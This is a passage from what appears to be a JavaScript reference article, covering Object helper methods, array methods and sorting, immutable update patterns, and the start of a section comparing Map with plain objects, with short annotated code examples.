&lt;td&gt;Shallow merge (mutates target)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Object.freeze(o)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Shallow immutable (silent fail, or TypeError in strict mode)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Object.groupBy(items, fn)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Group an array into an object by key (ES2024)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Object.create(proto)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;New object with a chosen prototype&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Object.defineProperty(o, k, desc)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Control writable, enumerable, configurable&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Object.getPrototypeOf(o)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Read the prototype&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;prices&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;a&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;b&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fromEntries&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;entries&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;prices&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(([&lt;/span&gt;&lt;span class="nx"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;v&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]));&lt;/span&gt;  &lt;span class="c1"&gt;// { a: 20, b: 40 }&lt;/span&gt;

&lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;groupBy&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;odd&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;even&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;  &lt;span class="c1"&gt;// { odd: [1,3], even: [2,4] }&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Key order: integer-like keys first (ascending), then strings in insertion order.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  11. Arrays
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Mutating vs non-mutating (memorize this)
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Mutates the original&lt;/th&gt;
&lt;th&gt;Returns a new array&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;push&lt;/code&gt;, &lt;code&gt;pop&lt;/code&gt;, &lt;code&gt;shift&lt;/code&gt;, &lt;code&gt;unshift&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;map&lt;/code&gt;, &lt;code&gt;filter&lt;/code&gt;, &lt;code&gt;slice&lt;/code&gt;, &lt;code&gt;concat&lt;/code&gt;, &lt;code&gt;flat&lt;/code&gt;, &lt;code&gt;flatMap&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;splice&lt;/code&gt;, &lt;code&gt;sort&lt;/code&gt;, &lt;code&gt;reverse&lt;/code&gt;, &lt;code&gt;fill&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;toSorted&lt;/code&gt;, &lt;code&gt;toReversed&lt;/code&gt;, &lt;code&gt;toSpliced&lt;/code&gt;, &lt;code&gt;with&lt;/code&gt; (ES2023)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  Everyday methods
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;nums&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="nx"&gt;nums&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;                    &lt;span class="c1"&gt;// [10, 2, 8]&lt;/span&gt;
&lt;span class="nx"&gt;nums&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;                 &lt;span class="c1"&gt;// [5, 4]&lt;/span&gt;
&lt;span class="nx"&gt;nums&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;                   &lt;span class="c1"&gt;// 5 (first match or undefined)&lt;/span&gt;
&lt;span class="nx"&gt;nums&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findLast&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;               &lt;span class="c1"&gt;// 4&lt;/span&gt;
&lt;span class="nx"&gt;nums&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;some&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;                   &lt;span class="c1"&gt;// true&lt;/span&gt;
&lt;span class="nx"&gt;nums&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;every&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;                  &lt;span class="c1"&gt;// true&lt;/span&gt;
&lt;span class="nx"&gt;nums&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;                        &lt;span class="c1"&gt;// true&lt;/span&gt;
&lt;span class="nx"&gt;nums&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;reduce&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;sum&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;     &lt;span class="c1"&gt;// 10 (always give an initial value)&lt;/span&gt;
&lt;span class="nx"&gt;nums&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;at&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;                             &lt;span class="c1"&gt;// 4&lt;/span&gt;
&lt;span class="nx"&gt;nums&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;                        &lt;span class="c1"&gt;// [1, 4]&lt;/span&gt;
&lt;span class="nx"&gt;nums&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;flat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;Infinity&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;                     &lt;span class="c1"&gt;// flatten nested arrays&lt;/span&gt;
&lt;span class="nb"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;  &lt;span class="c1"&gt;// [0, 1, 2]&lt;/span&gt;
&lt;span class="p"&gt;[...&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;nums&lt;/span&gt;&lt;span class="p"&gt;)];&lt;/span&gt;                      &lt;span class="c1"&gt;// unique values&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Sorting
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;sort&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;                       &lt;span class="c1"&gt;// [1, 10, 9] (default sorts as STRINGS)&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;sort&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;        &lt;span class="c1"&gt;// [1, 9, 10]&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;toSorted&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;    &lt;span class="c1"&gt;// [10, 9, 1] (original untouched)&lt;/span&gt;

&lt;span class="nx"&gt;people&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sort&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;localeCompare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;   &lt;span class="c1"&gt;// sort strings properly&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Immutable updates
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;add&lt;/span&gt;    &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[...&lt;/span&gt;&lt;span class="nx"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;remove&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;update&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;done&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;swap&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;with&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;new&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;       &lt;span class="c1"&gt;// replace index 2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Real-world pipeline
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;total&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;orders&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;o&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;o&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;paid&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;o&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;o&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;reduce&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;sum&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;arr.length = 0&lt;/code&gt; empties an array. &lt;code&gt;arr[100] = 1&lt;/code&gt; on a short array creates holes. &lt;code&gt;Array(3)&lt;/code&gt; is empty slots, not &lt;code&gt;[undefined, undefined, undefined]&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  12. Map, Set, WeakMap, WeakSet
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Map vs plain object
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;code&gt;Map&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;Object&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Key types&lt;/td&gt;
&lt;td&gt;Anything&lt;/td&gt;
&lt;td&gt;Strings and symbols&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Order&lt;/td&gt;
&lt;td&gt;Insertion&lt;/td&gt;
&lt;td&gt;Insertion (integer keys first)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Size&lt;/td&gt;
&lt;td&gt;&lt;code&gt;map.size&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Object.keys(o).length&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Frequent add/remove&lt;/td&gt;
&lt;td&gt;Faster&lt;/td&gt;
&lt;td&gt;Slower&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;JSON&lt;/td&gt;
&lt;td&gt;No direct support&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;m&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Map&lt;/span&gt;&lt;span class="p"&gt;([[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;a&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]]);&lt;/span&gt;
&lt;span class="nx"&gt;m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;b&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;b&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;          &lt;span class="c1"&gt;// 2&lt;/span&gt;
&lt;span class="nx"&gt;m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;has&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;a&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;  &lt;span class="nx"&gt;m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;delete&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;a&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;  &lt;span class="nx"&gt;m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;size&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;m&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// count things (ES2026 getOrInsert, check engine support)&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;counts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Map&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
